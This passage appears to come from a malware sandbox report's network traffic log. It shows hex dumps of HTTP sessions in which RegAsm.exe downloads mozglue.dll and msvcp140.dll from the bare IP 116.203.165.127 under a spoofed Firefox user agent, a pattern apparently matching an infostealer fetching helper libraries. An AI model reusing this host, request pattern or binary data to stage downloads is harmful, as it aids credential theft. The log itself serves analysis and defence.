ff 77 18 e8 Data Ascii: 1M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]w
2024-09-21 11:35:06 UTC	16384	IN	Data Raw: 7d 08 83 c4 0c 8a 87 18 01 00 00 30 03 8a 87 19 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 01 Data Ascii: }00C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwE
2024-09-21 11:35:06 UTC	16384	IN	Data Raw: 0e 81 e6 fc 03 00 00 33 8e 70 3b 08 10 8b 75 e0 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac d1 Data Ascii: 3p;u^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?Uu
2024-09-21 11:35:06 UTC	16384	IN	Data Raw: 00 00 c7 45 bc 00 00 00 00 8d 45 e0 50 e8 04 5a 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 7f Data Ascii: EEPZ}EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w
2024-09-21 11:35:06 UTC	16384	IN	Data Raw: 04 8d 44 24 70 50 e8 5b 1c 04 00 83 c4 04 8d 44 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 00 Data Ascii: D$pP[D$`PND$PPAD$@P4D$0P'D$ Pw$tUP}uUSWVM01EstA869AHEEEEEEE
2024-09-21 11:35:06 UTC	16384	IN	Data Raw: 7d 88 89 f8 f7 65 c8 89 55 84 89 85 0c fd ff ff 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff ff Data Ascii: }eUeLXee0@eeeue0UEeeUeee $
2024-09-21 11:35:06 UTC	16384	IN	Data Raw: 38 8b 4f 34 89 4d e4 8b 4f 30 89 4d d4 8b 4f 2c 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 80 Data Ascii: 8O4MO0MO,MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEE
2024-09-21 11:35:06 UTC	16384	IN	Data Raw: 1c c1 ee 1a 01 c2 89 95 08 ff ff ff 8b bd 2c ff ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 81 e2 ff ff ff 1f 01 d6 Data Ascii: ,0<48%8A)$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49777	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:08 UTC	199	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:08 UTC	262	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:08 GMT Content-Type: application/octet-stream Content-Length: 608080 Connection: close Last-Modified: Saturday, 21-Sep-2024 11:35:08 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-21 11:35:08 UTC	16122	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-09-21 11:35:08 UTC	16384	IN	Data Raw: c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 31 ff ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 00 Data Ascii: #H1A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNP
2024-09-21 11:35:08 UTC	16384	IN	Data Raw: ff 8b 45 a8 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d 3c Data Ascii: EPzEPWxP1`PHP$,FM1R'^_[]00L9tc<
2024-09-21 11:35:08 UTC	16384	IN	Data Raw: 06 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 b9 Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}L
2024-09-21 11:35:08 UTC	16384	IN	Data Raw: 83 c4 04 89 45 f0 8b 06 8b 4e 04 85 c9 0f 8e b3 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 89 Data Ascii: EN1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSRE
2024-09-21 11:35:08 UTC	16384	IN	Data Raw: 42 fd ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc cc Data Ascii: BH) sH) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) s
2024-09-21 11:35:08 UTC	16384	IN	Data Raw: 00 00 85 db 0f 85 ad 07 00 00 c7 44 24 30 00 00 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 34 Data Ascii: D$0D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$4
2024-09-21 11:35:08 UTC	16384	IN	Data Raw: 8b b8 08 00 00 00 85 ff 0f 84 0b 06 00 00 83 fb 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 3c Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3<
2024-09-21 11:35:08 UTC	16384	IN	Data Raw: 83 e1 fe 83 e0 01 09 c8 89 42 04 89 13 8d 44 24 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 8b Data Ascii: BD$XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKN
2024-09-21 11:35:08 UTC	16384	IN	Data Raw: b9 00 00 00 00 0f 44 4c 24 04 31 db 39 c1 0f 97 c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 48 Data Ascii: DL$19rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49778	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:10 UTC	200	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:11 UTC	262	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:10 GMT Content-Type: application/octet-stream Content-Length: 450024 Connection: close Last-Modified: Saturday, 21-Sep-2024 11:35:10 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-21 11:35:11 UTC	16122	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-09-21 11:35:11 UTC	16384	IN	Data Raw: 72 00 2d 00 62 00 61 00 00 00 68 00 72 00 2d 00 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 6d Data Ascii: r-bahr-hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mnm
2024-09-21 11:35:11 UTC	16384	IN	Data Raw: 00 00 04 00 00 00 04 8b 00 10 18 8b 00 10 78 8a 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 ff Data Ascii: x{\|L@DX}0}}M@4}0}}4M@tXM}0}}XM
